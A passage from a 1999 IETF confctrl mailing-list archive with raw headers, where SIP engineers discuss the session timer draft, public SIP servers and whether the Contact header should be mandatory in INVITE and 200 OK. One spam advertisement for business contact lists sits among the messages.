<P><FONT SIZE=3D2>/Lars</FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Lars Berggren&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&lt;lars.berggren@intertex.se&gt;</FONT>
<BR><FONT SIZE=3D2>Intertex Data AB&nbsp;&nbsp;&nbsp; tel: =
+46-8-6282828</FONT>
<BR><FONT SIZE=3D2>Sundbyberg, Sweden&nbsp; fax: +46-8-6286414</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE9314.0E64C38A--

From confctrl-owner  Fri Apr 30 07:52:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA00619
	for confctrl-outgoing; Fri, 30 Apr 1999 07:52:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA00614
	for <confctrl@zephyr.isi.edu>; Fri, 30 Apr 1999 07:52:45 -0700 (PDT)
Received: from omzrelay01.mcit.com (alpha.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA10594
	for <confctrl@ISI.EDU>; Fri, 30 Apr 1999 07:52:44 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #37787)
 with ESMTP id <0FB00019QABQBE@firewall.mcit.com> for confctrl@ISI.EDU; Fri,
 30 Apr 1999 14:16:38 +0000 (GMT)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id OAA30102 for <confctrl@ISI.EDU>;
 Fri, 30 Apr 1999 14:13:17 +0000 (GMT)
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2571.0)
	id <JQC35HGM>; Fri, 30 Apr 1999 14:16:37 +0000
Content-return: allowed
Date: Fri, 30 Apr 1999 14:16:36 +0000
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: Session Timer
To: confctrl@ISI.EDU
Message-id: <93496446F5EDD211A8C100805FEAD74901911F@nsrip00207.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE9314.0EACB0A0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE9314.0EACB0A0
Content-Type: text/plain;
	charset="iso-8859-1"

I would like to get a feel from the list as to the need for continuing with
the session timer concept.  If there is support for the need to standardize
this extension to the SIP protocol, then I will resubmit a new draft in the
near future.

The current draft can be found at:

http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-session-timer-01.t
xt

Regards,

Steve

------_=_NextPart_001_01BE9314.0EACB0A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>Session Timer </TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Courier New">I would like to get a feel from =
the list as to the need for continuing with the session timer =
concept.&nbsp; If there is support for the need to standardize this =
extension to the SIP protocol, then I will resubmit a new draft in the =
near future.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">The current draft can be found =
at:</FONT>
</P>

<P><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New"><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-sessio=
n-timer-01.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-mmusic-=
sip-session-timer-01.txt</A></FONT></U>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">Regards,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Courier New">Steve</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE9314.0EACB0A0--

From confctrl-owner  Sat May  1 10:08:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA21040
	for confctrl-outgoing; Sat, 1 May 1999 10:08:11 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA21035
	for <confctrl@zephyr.isi.edu>; Sat, 1 May 1999 10:08:09 -0700 (PDT)
Received: from 168.191.62.102 (sdn-ar-001njnbruP166.dialsprint.net [168.191.62.102])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id KAA20693
	for <confctrl@isi.edu>; Sat, 1 May 1999 10:07:58 -0700 (PDT)
Date: Sat, 1 May 1999 10:07:58 -0700 (PDT)
Message-Id: <199905011707.KAA20693@venera.isi.edu>
From: 7654@finfin.com
Subject:  I need the president please
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk







I need the president of  the company please.



Referred by J.B.S./8/3/98 opt in
>From Helen Astor, Somerset, New Jersey USA



DONT JUST EMAIL BACK ! ! !
We are extremely targeted and will NOT send back just general info by e-mail.
Targeted works beautifully.........untargeted does not.   We need
additional details over the phone to get you the properly  targeted further
info.

If you are interested in:


............. English Speaking.........................



1.  Bilingual sales reps.....currently seeking to represent American/and/or international
companies.      .........  We have lists of both.


2. Bilingual distributors.....currently importing from  American/and/or international
companies..............  we have lists of both


3. Bilingual end users .....currently importing from American/and/or international companies.
.........   We have lists of both.

4. Bilingual agents...currently arranging private labeling, subcontracting,
contracting
work, and negotiating licensing arrangements for American/and/or international  companies.
.........  We have lists of both.

5. Bilingual suppliers of raw materials and components....currently selling
internationally.

6. Bilingual buyers of close outs, surplus overruns, seconds.....currently
buying from American/and/or international companies.
We have lists of both.
........................ 

7. Bilingual joint marketing partners.....currently seeking  American/and/or International/
partners........We have lists of both.

8. Bilingual foreigners seeking to buy all or part of your business...or act
as silent partner......................... 

9. Bilingual foreigners who will supply finance for your business.
.................. 

10. Bilingual foreigners with new products for your business to sell.

Our lists come two ways: Those doing business exclusively with America....
and those doing business worldwide.


We have lists with their phone numbers, fax numbers, addresses,
and contact names.   All are English speaking and have internet
accounts.   First time exporters fine.   Imports fine.
Each list contains 360 to 410 names and costs $72.00 U.S.

For the areas of:
Mexico, Central, and South America,Japan/Asia, Eastern/Western
Europe,China,Australia,Asia,the Middle East.



Best Regards, 

 Helen Astor  

PHONE CALLS ONLY  please.........we are extremely targeted and
need additional info from you.  We will not reply back with General
info over the internet.

732-247-3173


FROM:

Scott Allen Export Sales
36 Heather Drive
Somerset, New Jersey 08873 USA
732-247-3173

Bill Higgins
Janet Brandt
Fritz Young
Helen Astor
Jose Rivera
Larry Cohen
Susan Miller



From confctrl-owner  Sat May  1 18:39:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA04943
	for confctrl-outgoing; Sat, 1 May 1999 18:39:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA04938
	for <confctrl@zephyr.isi.edu>; Sat, 1 May 1999 18:39:02 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA21369
	for <confctrl@isi.edu>; Sat, 1 May 1999 18:39:01 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA21080
	for <confctrl@isi.edu>; Sat, 1 May 1999 21:39:00 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA04675
	for <confctrl@isi.edu>; Sat, 1 May 1999 21:39:00 -0400 (EDT)
Message-ID: <372BACB3.DF9CD0D5@cs.columbia.edu>
Date: Sat, 01 May 1999 21:38:59 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Public SIP servers
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've updated the SIP web page at http://www.cs.columbia.edu/~hgs/sip
with a (still short) list of public SIP servers. If you are running one,
please let me know and I'll add you to the list.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Sun May  2 21:20:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA18434
	for confctrl-outgoing; Sun, 2 May 1999 21:20:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA18429
	for <confctrl@zephyr.isi.edu>; Sun, 2 May 1999 21:20:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA01816
	for <confctrl@isi.edu>; Sun, 2 May 1999 21:20:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon May  3 00:19:08 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.218])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id AAA11674;
	Mon, 3 May 1999 00:19:05 -0400 (EDT)
Message-ID: <372D23C2.245A6CEC@dnrc.bell-labs.com>
Date: Mon, 03 May 1999 00:19:14 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
CC: Lars Berggren <lars.berggren@intertex.se>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        "Hearty, John H." <John.H.Hearty@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP: mandatory Contact
References: <93496446F5EDD211A8C100805FEAD74901911E@nsrip00207.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Donovan, Steven R. wrote:
> 
> What are we trying to solve here, making SIP work through NATs or
> making the record-route/route mechanism work?
> 
> It seems to me that the former is outside the bounds of the SIP
> specification and that the latter is absolutely necessary.
> 
> The handling of re-INVITES from the called UA is a specific case that
> argues for making the contact mandatory in the initial INVITE
> message.  Proxy servers that remain in the signaling path will need to
> be able to differentiate between INVITEs and re-INVITES.  If the
> calling UA is not included in the Route header, then SPS1 from my
> original flows will have no way of knowing that a re-INVITE from B,
> the called user agent, is indeed a re-INVITE.  If SPS1 thinks that it
> is a new INVITE, then it is likely to query a location server to
> determine how to route the INVITE message.  There is a chance that the
> INVITE will get correctly routed, but there is a significant chance
> that it won't.
> 
> Making the Contact mandatory in the initial INVITE and as a result
> included in the called user agents route header will fix this problem,
> as SPS1 can use the presence of the route header as in indicator that
> this is no a new INVITE.

It sounds to me like there is consensus to make Contact madatory in
INVITE and in 200 OK. I still believe a UAS should be prepared to
receive an INVITE without Contact, and a UAC should be prepared to
receive a 200 OK without (in other words, the currently specified
behavior should be used). 

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon May  3 06:43:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA06300
	for confctrl-outgoing; Mon, 3 May 1999 06:43:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA06294
	for <confctrl@zephyr.isi.edu>; Mon, 3 May 1999 06:43:02 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA18635
	for <confctrl@isi.edu>; Mon, 3 May 1999 06:42:59 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #37788)
 with ESMTP id <0FB500F6LRXY3A@firewall.mcit.com> for confctrl@isi.edu; Mon,
 3 May 1999 13:25:12 +0000 (GMT)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id NAA06603; Mon,
 03 May 1999 13:21:48 +0000 (GMT)
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2571.0)
	id <JQC36SBH>; Mon, 03 May 1999 13:25:08 +0000
Content-return: allowed
Date: Mon, 03 May 1999 13:25:01 +0000
From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: RE: SIP: mandatory Contact
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Message-id: <93496446F5EDD211A8C100805FEAD74901C172@nsrip00207.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE9568.5D278AC4"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE9568.5D278AC4
Content-Type: text/plain;
	charset="iso-8859-1"

Jonathan,

I hate to quibble, but it seems to me that if we make it so the UAS and UAC
need to receive INVITEs and 200 OKs without Contacts then we really aren't
making them mandatory.

Are you suggesting that we make them "strongly suggested".  It is certainly
the case that not including the contact header in the INVITE or 200 OK can
cause misrouted re-INVITE, INFO and BYE messages.

I think that the SIP spec also needs to add more information in section 6.29
to explain how the called user agent uses the Record-Route and Contact
headers to build the route header in subsequent requests.

Regards,

Steve

-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dnrc.bell-labs.com]
Sent: Sunday, May 02, 1999 11:19 PM
To: Donovan, Steven R.
Cc: Lars Berggren; Anders Kristensen; Hearty, John H.;
'confctrl@ISI.EDU'
Subject: Re: SIP: mandatory Contact


> Donovan, Steven R. wrote:
> 
> What are we trying to solve here, making SIP work through NATs or
> making the record-route/route mechanism work?
> 
> It seems to me that the former is outside the bounds of the SIP
> specification and that the latter is absolutely necessary.
> 
> The handling of re-INVITES from the called UA is a specific case that
> argues for making the contact mandatory in the initial INVITE
> message.  Proxy servers that remain in the signaling path will need to
> be able to differentiate between INVITEs and re-INVITES.  If the
> calling UA is not included in the Route header, then SPS1 from my
> original flows will have no way of knowing that a re-INVITE from B,
> the called user agent, is indeed a re-INVITE.  If SPS1 thinks that it
> is a new INVITE, then it is likely to query a location server to
> determine how to route the INVITE message.  There is a chance that the
> INVITE will get correctly routed, but there is a significant chance
> that it won't.
> 
> Making the Contact mandatory in the initial INVITE and as a result
> included in the called user agents route header will fix this problem,
> as SPS1 can use the presence of the route header as in indicator that
> this is no a new INVITE.

It sounds to me like there is consensus to make Contact madatory in
INVITE and in 200 OK. I still believe a UAS should be prepared to
receive an INVITE without Contact, and a UAC should be prepared to
receive a 200 OK without (in other words, the currently specified
behavior should be used). 

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

------_=_NextPart_001_01BE9568.5D278AC4
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>RE: SIP: mandatory Contact</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Jonathan,</FONT>
</P>

<P><FONT SIZE=3D2>I hate to quibble, but it seems to me that if we make =
it so the UAS and UAC need to receive INVITEs and 200 OKs without =
Contacts then we really aren't making them mandatory.</FONT></P>

<P><FONT SIZE=3D2>Are you suggesting that we make them &quot;strongly =
suggested&quot;.&nbsp; It is certainly the case that not including the =
contact header in the INVITE or 200 OK can cause misrouted re-INVITE, =
INFO and BYE messages.</FONT></P>

<P><FONT SIZE=3D2>I think that the SIP spec also needs to add more =
information in section 6.29 to explain how the called user agent uses =
the Record-Route and Contact headers to build the route header in =
subsequent requests.</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Steve</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Jonathan Rosenberg [<A =
HREF=3D"mailto:jdrosen@dnrc.bell-labs.com">mailto:jdrosen@dnrc.bell-labs=
.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Sunday, May 02, 1999 11:19 PM</FONT>
<BR><FONT SIZE=3D2>To: Donovan, Steven R.</FONT>
<BR><FONT SIZE=3D2>Cc: Lars Berggren; Anders Kristensen; Hearty, John =
H.;</FONT>
<BR><FONT SIZE=3D2>'confctrl@ISI.EDU'</FONT>
<BR><FONT SIZE=3D2>Subject: Re: SIP: mandatory Contact</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>&gt; Donovan, Steven R. wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; What are we trying to solve here, making SIP =
work through NATs or</FONT>
<BR><FONT SIZE=3D2>&gt; making the record-route/route mechanism =
work?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; It seems to me that the former is outside the =
bounds of the SIP</FONT>
<BR><FONT SIZE=3D2>&gt; specification and that the latter is absolutely =
necessary.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The handling of re-INVITES from the called UA =
is a specific case that</FONT>
<BR><FONT SIZE=3D2>&gt; argues for making the contact mandatory in the =
initial INVITE</FONT>
<BR><FONT SIZE=3D2>&gt; message.&nbsp; Proxy servers that remain in the =
signaling path will need to</FONT>
<BR><FONT SIZE=3D2>&gt; be able to differentiate between INVITEs and =
re-INVITES.&nbsp; If the</FONT>
<BR><FONT SIZE=3D2>&gt; calling UA is not included in the Route header, =
then SPS1 from my</FONT>
<BR><FONT SIZE=3D2>&gt; original flows will have no way of knowing that =
a re-INVITE from B,</FONT>
<BR><FONT SIZE=3D2>&gt; the called user agent, is indeed a =
re-INVITE.&nbsp; If SPS1 thinks that it</FONT>
<BR><FONT SIZE=3D2>&gt; is a new INVITE, then it is likely to query a =
location server to</FONT>
<BR><FONT SIZE=3D2>&gt; determine how to route the INVITE =
message.&nbsp; There is a chance that the</FONT>
<BR><FONT SIZE=3D2>&gt; INVITE will get correctly routed, but there is =
a significant chance</FONT>
<BR><FONT SIZE=3D2>&gt; that it won't.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Making the Contact mandatory in the initial =
INVITE and as a result</FONT>
<BR><FONT SIZE=3D2>&gt; included in the called user agents route header =
will fix this problem,</FONT>
<BR><FONT SIZE=3D2>&gt; as SPS1 can use the presence of the route =
header as in indicator that</FONT>
<BR><FONT SIZE=3D2>&gt; this is no a new INVITE.</FONT>
</P>

<P><FONT SIZE=3D2>It sounds to me like there is consensus to make =
Contact madatory in</FONT>
<BR><FONT SIZE=3D2>INVITE and in 200 OK. I still believe a UAS should =
be prepared to</FONT>
<BR><FONT SIZE=3D2>receive an INVITE without Contact, and a UAC should =
be prepared to</FONT>
<BR><FONT SIZE=3D2>receive a 200 OK without (in other words, the =
currently specified</FONT>
<BR><FONT SIZE=3D2>behavior should be used). </FONT>
</P>

<P><FONT SIZE=3D2>-Jonathan R.</FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Jonathan D. =
Rosenberg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Lucent Technologies</FONT>
<BR><FONT SIZE=3D2>Member of Technical =
Staff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 101 Crawfords Corner =
Rd.</FONT>
<BR><FONT SIZE=3D2>High Speed Networks =
Research&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; Holmdel, NJ 07733</FONT>
<BR><FONT SIZE=3D2>FAX: (732) =
834-5379&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; Rm. 4C-526</FONT>
<BR><FONT SIZE=3D2>EMAIL: jdrosen@bell-labs.com</FONT>
<BR><FONT SIZE=3D2>URL: <A HREF=3D"http://www.cs.columbia.edu/~jdrosen" =
TARGET=3D"_blank">http://www.cs.columbia.edu/~jdrosen</A></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE9568.5D278AC4--

From confctrl-owner  Mon May  3 07:16:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA07597
	for confctrl-outgoing; Mon, 3 May 1999 07:16:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA07590
	for <confctrl@zephyr.isi.edu>; Mon, 3 May 1999 07:16:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA20000
	for <confctrl@isi.edu>; Mon, 3 May 1999 07:16:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon May  3 10:14:03 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id KAA03776;
	Mon, 3 May 1999 10:14:01 -0400 (EDT)
Message-ID: <372DAC33.5F999BCD@dnrc.bell-labs.com>
Date: Mon, 03 May 1999 10:01:23 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP: mandatory Contact
References: <93496446F5EDD211A8C100805FEAD74901C172@nsrip00207.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Donovan, Steven R. wrote:
> 
> Jonathan,
> 
> I hate to quibble, but it seems to me that if we make it so the UAS
> and UAC need to receive INVITEs and 200 OKs without Contacts then we
> really aren't making them mandatory.

This falls under the "be strict in sending, gracious in receiving"
design philosophy. Insertion of the field will be made a MUST, but for
robustness, the UAS and UAC should handle it without. Furthermore, There
may be situations where NAT's might possibly remove these headers, as
someone has pointed out.


> I think that the SIP spec also needs to add more information in
> section 6.29 to explain how the called user agent uses the
> Record-Route and Contact headers to build the route header in
> subsequent requests.

Yes, this need clarification.

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon May  3 12:22:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA21401
	for confctrl-outgoing; Mon, 3 May 1999 12:22:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA21396
	for <confctrl@zephyr.isi.edu>; Mon, 3 May 1999 12:22:15 -0700 (PDT)
Received: from omzrelay03.mcit.com (omzrelay03.mcit.com [199.249.19.245])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA19863
	for <confctrl@ISI.EDU>; Mon, 3 May 1999 12:22:14 -0700 (PDT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #37789)
 with ESMTP id <0FB500LO4VRALE@firewall.mcit.com> for confctrl@ISI.EDU; Mon,
 3 May 1999 14:47:42 +0000 (GMT)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id OAA22847; Mon,
 03 May 1999 14:46:08 +0000 (GMT)
Received: from localHost ([166.35.151.149])
 by omta3.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990503144646.GDIL26508@localHost>; Mon,
 03 May 1999 09:46:46 -0500
Date: Mon, 03 May 1999 09:39 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: Re: SIP: mandatory Contact
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Cc: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        Lars Berggren <lars.berggren@intertex.se>,
        Anders Kristensen <ak@hplb.hpl.hp.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Message-id: <19990503144646.GDIL26508@localHost>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 So are you not concuring with the consensus?  Either Contact is mandatory
or it is not.  We can't call it mandatory but allow Invites and 200s
without it, that is contradictatory.  I'd rather have new implementations
break early on if Contact is missing so they fix them per this proposed
update to the standard.

John Hearty
MCI Worldcom



> Donovan, Steven R. wrote:
> 
> What are we trying to solve here, making SIP work through NATs or
> making the record-route/route mechanism work?
> 
> It seems to me that the former is outside the bounds of the SIP
> specification and that the latter is absolutely necessary.
> 
> The handling of re-INVITES from the called UA is a specific case that
> argues for making the contact mandatory in the initial INVITE
> message.  Proxy servers that remain in the signaling path will need to
> be able to differentiate between INVITEs and re-INVITES.  If the
> calling UA is not included in the Route header, then SPS1 from my
> original flows will have no way of knowing that a re-INVITE from B,
> the called user agent, is indeed a re-INVITE.  If SPS1 thinks that it
> is a new INVITE, then it is likely to query a location server to
> determine how to route the INVITE message.  There is a chance that the
> INVITE will get correctly routed, but there is a significant chance
> that it won't.
> 
> Making the Contact mandatory in the initial INVITE and as a result
> included in the called user agents route header will fix this problem,
> as SPS1 can use the presence of the route header as in indicator that
> this is no a new INVITE.

It sounds to me like there is consensus to make Contact madatory in
INVITE and in 200 OK. I still believe a UAS should be prepared to
receive an INVITE without Contact, and a UAC should be prepared to
receive a 200 OK without (in other words, the currently specified
behavior should be used). 

-Jonathan R.



From confctrl-owner  Mon May  3 15:16:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA28955
	for confctrl-outgoing; Mon, 3 May 1999 15:16:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28950
	for <confctrl@zephyr.isi.edu>; Mon, 3 May 1999 15:16:22 -0700 (PDT)
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA05850
	for <confctrl@isi.edu>; Mon, 3 May 1999 15:16:22 -0700 (PDT)
Received: from mailgate1.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id PAA29794
	for <confctrl@isi.edu>; Mon, 3 May 1999 15:12:14 -0700
Received: from scv1.apple.com (scv1.apple.com) by mailgate1.apple.com
 (mailgate1.apple.com- SMTPRS 2.0.15) with ESMTP id <B0006268092@mailgate1.apple.com>;
 Mon, 03 May 1999 15:12:13 -0700
